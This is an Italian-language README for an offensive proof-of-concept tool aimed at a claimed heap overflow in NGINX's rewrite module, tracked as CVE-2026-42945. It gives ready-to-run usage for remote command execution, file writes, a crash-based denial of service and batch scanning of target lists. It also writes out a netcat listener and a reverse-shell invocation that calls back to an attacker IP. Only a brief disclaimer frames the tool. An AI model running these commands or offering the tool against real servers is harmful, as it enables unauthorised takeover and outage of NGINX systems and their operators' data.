NGINX Rift RCE Exploit (CVE-2026-42945) da @DepthFirstDisclosures
Uno strumento Proof-of-Concept (PoC) professionale per la ricerca e l'identificazione della vulnerabilità NGINX Rift, un critico heap-based buffer overflow nel modulo ngx_http_rewrite_module.
Panoramica della Vulnerabilità
- ID CVE: CVE-2026-42945
- Alias: NGINX Rift
- Gravità: Critica (CVSS 9.2)
- Versioni Affette: NGINX 0.6.27 fino a 1.30.0
- Causa Principale: Errore di disallineamento di dimensione nel motore di rewrite a due passaggi quando si utilizzano catture PCRE senza nome ($1, $2) e stringhe di sostituzione contenenti un ?.
- Impatto: Esecuzione di codice remoto (RCE) non autenticata o Denial of Service (DoS).
Funzionalità
- Supporto Multi-Modalità: Test tramite singolo URL o una lista batch da un file .txt.
- Metodi di Exploit Multipli:
- id: Esegue il comando id (Predefinito).
- sleep: Verifica basata sul tempo (ideale per RCE cieco).
- write: Tenta di scrivere un file nelle directory comuni della web root.
- shell: Invia una reverse shell basata su Python.
- crash: Attiva un semplice crash del processo worker (DoS).
- Interfaccia Codificata a Colori: Chiari indicatori visivi per stati vulnerabile (Verde), sicuro (Rosso) e debug (Giallo/Blu).
- Logging Dettagliato: Interazione a livello di socket dettagliata per ricercatori.
Utilizzo
1. Scansione su Singolo Target
python3 poc.py --url http://target.com --method id
2. Scansione Batch su Più Target
Crea un file chiamato targets.txt con un URL per riga:
http://1.2.3.4
https://docs.company.com
http://server.internal:8080
Quindi esegui:
python3 poc.py --list targets.txt --method sleep
3. Comandi Personalizzati e Modalità Verbosa
python3 poc.py --url http://target.com --cmd "whoami" --verbose
4. Reverse Shell
Avvia prima il tuo listener: nc -lvp 1337
python3 poc.py --url http://target.com --method shell --listen-ip [YOUR_IP] --listen-port 1337
Interpretazione dei Risultati
- [+] VULNERABILE (Verde): L'exploit ha innescato una firma di corruzione della memoria. Se usato con sleep, verifica che il tempo di risposta corrisponda alla durata del sleep.
- [-] Target non vulnerabile (Rosso): L'exploit non è riuscito a innescare un crash utilizzando i candidati di memoria forniti.
- [DEBUG] (Giallo/Blu): Informazioni di base sullo heap spraying e gli indirizzi candidati.
Requisiti e Limitazioni
- Python 3.x: Nessuna libreria esterna richiesta (utilizza socket e argparse standard).
- ASLR: Questo PoC utilizza indirizzi di memoria statici. Su sistemi con ASLR abilitato, l'exploit probabilmente provocherà un Denial of Service (DoS) piuttosto che RCE a meno che non venga fornita una perdita di memoria.
- Hardening: Il filtraggio del traffico in uscita (firewall) potrebbe impedire ai metodi curl o shell di inviare dati di ritorno. Utilizza il metodo sleep per la conferma più affidabile.
Dichiarazione di non responsabilità
Questo strumento è solo per scopi educativi e audit di sicurezza autorizzati. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo script. Ottieni sempre il permesso esplicito prima di testare qualsiasi infrastruttura.